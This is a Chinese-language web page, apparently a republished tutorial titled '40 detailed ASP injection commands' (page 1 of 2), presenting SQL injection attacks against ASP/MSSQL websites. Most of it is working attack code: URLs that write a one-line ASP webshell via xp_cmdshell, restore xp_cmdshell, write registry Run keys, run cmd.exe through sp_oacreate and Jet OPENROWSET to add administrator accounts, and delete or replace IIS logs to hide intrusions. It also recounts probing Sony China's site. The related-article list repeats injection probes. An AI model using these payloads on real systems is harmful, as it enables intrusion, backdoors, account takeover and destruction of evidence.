ASP注入详细命令40条第1/2页

1、 用^转义字符来写ASP(一句话木马)文件的方法: 
 http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';--

echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp

2、 显示SQL系统版本:  
? http://192.168.1.5/display.asp?keyno=188 and 1=(select @@VERSION)  
? http://www.XXXX.com/FullStory.asp?id=1 and 1=convert(int,@@version)--

Microsoft VBScript 编译器错误 错误 '800a03f6'  
缺少 'End'  
/iisHelp/common/500-100.asp,行242  
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'  
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Desktop Engine on Windows NT 5.0 (Build 2195: Service Pack 4) ' to a column of data type int.  
/display.asp,行17 
3、 在检测索尼中国的网站漏洞时,分明已经确定了漏洞存在却无法在这三种漏洞中找到对应的类型。偶然间我想到了在SQL语言中可以使用"in"关键字进行查询,例如"select * from mytable where id in(1)",括号中的值就是我们提交的数据,它的结果与使用"select * from mytable where id=1"的查询结果完全相同。所以访问页面的时候在URL后面加上") and 1=1 and 1 in(1"后原来的SQL语句就变成了"select * from mytable where id in(1) and 1=1 and 1 in(1)",这样就会出现期待已久的页面了。暂且就叫这种类型的漏洞为"包含数字型"吧,聪明的你一定想到了还有"包含字符型"呢。对了,它就是由于类似"select * from mytable where name in('firstsee')"的查询语句造成的。

4、 判断xp_cmdshell扩展存储过程是否存在: 
http://192.168.1.5/display.asp?keyno=188 and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell') 
恢复xp_cmdshell扩展存储的命令: 
http://www.test.com/news/show1.asp?NewsId=125272 
;exec master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetput\web\xplog70.dll';--

5、 向启动组中写入命令行和执行程序: 
http://192.168.1.5/display.asp?keyno=188;EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run','help1','REG_SZ','cmd.exe /c net user test ptlove /add'

6、 查看当前的数据库名称: 
? http://192.168.1.5/display.asp?keyno=188 and 0<>db_name(n) n改成0,1,2,3……就可以跨库了 
? http://www.XXXX.com/FullStory.asp?id=1 and 1=convert(int,db_name())-- 
Microsoft VBScript 编译器错误 错误 '800a03f6'  
缺少 'End'  
/iisHelp/common/500-100.asp,行242  
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'  
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'huidahouse' to a column of data type int.  
/display.asp,行17  
7、 列出当前所有的数据库名称: 
select * from master.dbo.sysdatabases 列出所有列的记录 
select name from master.dbo.sysdatabases 仅列出name列的记录

8、 不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令: 
create TABLE mytmp(info VARCHAR(400),ID int IDENTITY(1,1) NOT NULL) 
DECLARE @shell INT 
DECLARE @fso INT 
DECLARE @file INT 
DECLARE @isEnd BIT 
DECLARE @out VARCHAR(400) 
EXEC sp_oacreate 'wscript.shell',@shell output 
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c dir c:\>c:\temp.txt','0','true' 
--注意run的参数true指的是将等待程序运行的结果,对于类似ping的长时间命令必需使用此参数。

EXEC sp_oacreate 'scripting.filesystemobject',@fso output 
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' 
--因为fso的opentextfile方法将返回一个textstream对象,所以此时@file是一个对象令牌

WHILE @shell>0 
BEGIN 
EXEC sp_oamethod @file,'Readline',@out out 
insert INTO MYTMP(info) VALUES (@out) 
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out 
IF @isEnd=1 BREAK 
ELSE CONTINUE 
END

drop TABLE MYTMP

---------- 
DECLARE @shell INT 
DECLARE @fso INT 
DECLARE @file INT 
DECLARE @isEnd BIT 
DECLARE @out VARCHAR(400) 
EXEC sp_oacreate 'wscript.shell',@shell output 
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll">c:\temp.txt','0','true' 
EXEC sp_oacreate 'scripting.filesystemobject',@fso output 
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' 
WHILE @shell>0 
BEGIN 
EXEC sp_oamethod @file,'Readline',@out out 
insert INTO MYTMP(info) VALUES (@out) 
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out 
IF @isEnd=1 BREAK 
ELSE CONTINUE 
END

以下是一行里面将WEB用户加到管理员组中: 
DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll">c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

以下是一行中执行EXE程序: 
DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript.exe E:\bjeea.net.cn\score\fts\images\iis.vbs lh1 c:\>c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

SQL下三种执行CMD命令的方法:

先删除7.18号日志: 
(1)exec master.dbo.xp_cmdshell 'del C:\winnt\system32\logfiles\W3SVC5\ex050718.log >c:\temp.txt'

(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c del C:\winnt\system32\logfiles\W3SVC5\ex050718.log >c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

(3)首先开启jet沙盘模式,通过扩展存储过程xp_regwrite修改注册表实现,管理员修改注册表不能预防的原因。出于安全原因,默认沙盘模式未开启,这就是为什么需要xp_regwrite的原因,而xp_regwrite至少需要DB_OWNER权限,为了方便,这里建议使用sysadmin权限测试: 
? exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 
注: 
0 禁止一切(默认) 
1 使能访问ACCESS,但是禁止其它 
2 禁止访问ACCESS,但是使能其他 
3 使能一切

? 这里仅给出sysadmin权限下使用的命令: 
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')

? 建立链接数据库'L0op8ack'参考命令: 
EXEC sp_addlinkedserver 'L0op8ack','OLE DB Provider for Jet','Microsoft.Jet.OLEDB.4.0','c:\windows\system32\ias\ias.mdb'

? 如何使用链接数据库:

使用这个方式可以执行,但是很不幸,DB_OWNER权限是不够的,需要至少sysadmin权限或者securityadmin+setupadmin权限组合 
sp_addlinkedserver需要sysadmin或setupadmin权限 
sp_addlinkedsrvlogin需要sysadmin或securityadmin权限 
最终发现,还是sa权限或者setupadmin+securityadmin权限帐户才能使用, 
一般没有哪个管理员这么设置普通帐户权限的

实用性不强,仅作为一个学习总结吧

大致过程如下,如果不是sysadmin,那么IAS.mdb权限验证会出错, 
我测试的时候授予hacker这个用户setupadmin+securityadmin权限,使用ias.mdb失败 
需要找一个一般用户可访问的mdb才可以:

? 新建链接服务器"L0op8ack":EXEC sp_addlinkedserver 'L0op8ack','JetOLEDB','Microsoft.Jet.OLEDB.4.0','c:\winnt\system32\ias\ias.mdb';-- 
? exec sp_addlinkedsrvlogin 'L0op8ack','false';--或 
exec sp_addlinkedsrvlogin 'L0op8ack', 'false', NULL, 'test1', 'ptlove';-- 
? select * FROM OPENQUERY(L0op8ack, 'select shell("cmd.exe /c net user")');-- 
? exec sp_droplinkedsrvlogin 'L0op8ack','false';-- 
? exec sp_dropserver 'L0op8ack';--

再考贝一个其它文件来代替7.18日文件: 
(1)exec master.dbo.xp_cmdshell 'copy C:\winnt\system32\logfiles\W3SVC5\ex050716.log C:\winnt\system32\logfiles\W3SVC5\ex050718.log>c:\temp.txt'

(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c copy C:\winnt\system32\logfiles\W3SVC5\ex050716.log C:\winnt\system32\logfiles\W3SVC5\ex050718.log>c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

(3)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c net user>c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline', ut out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

当前1/2页 12下一页阅读全文

(0)

相关推荐

  • 防ASP注入终极防范

    下面给出4个函数,足够你抵挡一切SQL注入漏洞!读懂代码,你就能融会贯通. 注意要对所有的request对象进行过滤:包括 request.cookie, request.ServerVariables 等等容易被忽视的对象: 程序代码 复制代码 代码如下: function killn(byval s1) '过滤数值型参数 if not isnumeric(s1) then killn=0 else if s1〈0 or s1〉2147483647 then killn=0 else kill

  • 全面认识ASP注入技巧

    复制代码 代码如下: 1.判断是否有注入  ;and 1=1  ;and 1=2 2.初步判断是否是mssql  ;and user>0 3.注入参数是字符  'and [查询条件] and ''=' 4.搜索时没过滤参数的  'and [查询条件] and '%25'=' 5.判断数据库系统  ;and (select count(*) from sysobjects)>0 mssql  ;and (select count(*) from msysobjects)>0 access

  • 全面了解ASP注入方法 [收集总结]

    1.判断是否有注入 ;and 1=1 ;and 1=2 2.初步判断是否是mssql ;and user>0 3.注入参数是字符 'and [查询条件] and ''=' 4.搜索时没过滤参数的 'and [查询条件] and '%25'=' 5.判断数据库系统 ;and (select count(*) from sysobjects)>0 mssql ;and (select count(*) from msysobjects)>0 access 6.猜数据库 ;and (Selec

  • Dvbbs7.1 sp1 SQL版savepost.asp注入漏洞分析、利用及防范

    一.概述    漏洞介绍: http://coolersky.com/leak/programme/bbs/2006/0515/515.html    前几天就听Hak_Ban说有人把dvbbs7的一个注入漏洞给发布出去了,一直也没时间看看,下午跟Edward要了个链接看了看: http://www.eviloctal.com/forum/read.php?tid=22074    本站转贴为: http://coolersky.com/articles/hack/analysis/progra

  • ASP注入详细命令40条第1/2页

    1. 用^转义字符来写ASP(一句话木马)文件的方法:   http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';-- echo ^<%execute^(request^("

  • 最详细的SQL注入相关的命令整理 (转)第1/2页

    1.   用^转义字符来写ASP(一句话木马)文件的方法: ?   http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';-- ?   echo ^<%execute^(reques

  • ASP.NET Core 依赖注入详细

    目录 一.控制反转 二.好莱坞法则 三.流程控制 四.三种依赖注入方式 1.构造器注入 2.属性注入 3.方法注入 五.生命周期 六.ASP.Net Core 中自带的注入 前言: ASP.NET Core 应用在启动过程中会依赖各种组件提供服务,而这些组件会以接口的形式标准化,这些组件这就是我们所说的服务,ASP.NET Core框架建立在一个底层的依赖注入框架之上,它使用容器提供所需的服务.要了解依赖注入容器以及它的机制,我们需要了解什么是依赖注入. 一.控制反转 说道依赖注入就不得不提控制

  • 分享40条Android开发的优化建议

    以下是开始Android编程的好方法: 1.找一些与你想开发的功能类似的代码: 2.调整它,尝试让它变成你想要的: 3.回顾开发中遇到的问题 4.使用StackOverflow来解决遇到的问题 对每个你想实现的东西重复上述过程.采用这种方法能够激励你,因为你在保持不断迭代更新,在这个过程里面你会学到很多.当然,当你发布应用的时候你还要去做一些更深入的东西. 从一些能够正常编译的代码到成为一个应用程序,这是一个质的飞跃,比起iOS,Android则表现的更加明显.当iOS应用发布的时候,实际上只是

  • ASP编码必备的8条原则

    ASP是Active Server Page的缩写,意为"动态服务器页面".ASP是微软公司开发的代替CGI脚本程序的一种应用,它可以与数据库和其它程序进行交互,是一种简单.方便的编程工具.在这里仅就代码优化进行一些简单讨论. 1.声明VBScript变量 在ASP中,对vbscript提供了强劲的支持,能够无缝集成vbscript的函数.方法,这样给扩展ASP的现有功能提供了很大便利.由于ASP中已经模糊了变量类型的概念,所以,在进行ASP与vbscript交互的过程中,很多程序员也

  • iis8.5显示ASP的详细错误信息500 内部服务器错误解决方法

    方法如下: 打开Internet 信息服务(IIS)管理器(运行--inetmgr),然后双击"ASP"打开属性页, (Internet 信息服务(IIS)管理器) 然后展开"调试属性",将"将错误发送到浏览器"的值改为"True",然后点击右侧的"应用"以保存设置. 然后双击打开"错误页"属性页,然后点击右侧的"编辑功能设置",选择"详细错误(D)&quo

  • IIS7.5显示ASP的详细错误信息"500 – 内部服务器错误解决"

    方法如下: 打开Internet 信息服务(IIS)管理器(运行--inetmgr),然后双击"ASP"打开属性页, (Internet 信息服务(IIS)管理器) 然后展开"调试属性",将"将错误发送到浏览器"的值改为"True",然后点击右侧的"应用"以保存设置. 然后双击打开"错误页"属性页,然后点击右侧的"编辑功能设置",选择"详细错误(D)&quo

  • 不错的dos批处理命令详解第1/2页

    一.简单批处理内部命令简介  1.Echo 命令  打开回显或关闭请求回显功能,或显示消息.如果没有任何参数,echo 命令将显示当前回显设置.  语法  echo [{on│off}] [message]  Sample:@echo off / echo hello world  在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来. 2.@ 命令  表示不显示@后面的命令,在入侵过程中(例如

  • asp.net下利用js实现返回上一页的实现方法小集

    方法一: 在asp.net的aspx里面的源代码中 <input type="button onclick="javascript:window.history.go(-1);"value="返回上一页"> 浅析:这个是用了HTML控件,通过一个onclick的事件,调用了javascript中的一个方法就可以了.这个是最简单的了,也同样适用于静态页面,ASP页面等. 方法二: 利用Reponse.write 如果你对ASP有一定的了解,那么对

  • element中Steps步骤条和Tabs标签页关联的解决

    步骤条和标签页的简单关联 1.步骤条: 步骤条的acitve属性用来设置当前激活的步骤,类型为number <el-steps :active="active - 0" finish-status="success"> <el-step title="步骤 1"></el-step> <el-step title="步骤 2"></el-step> <el-st

随机推荐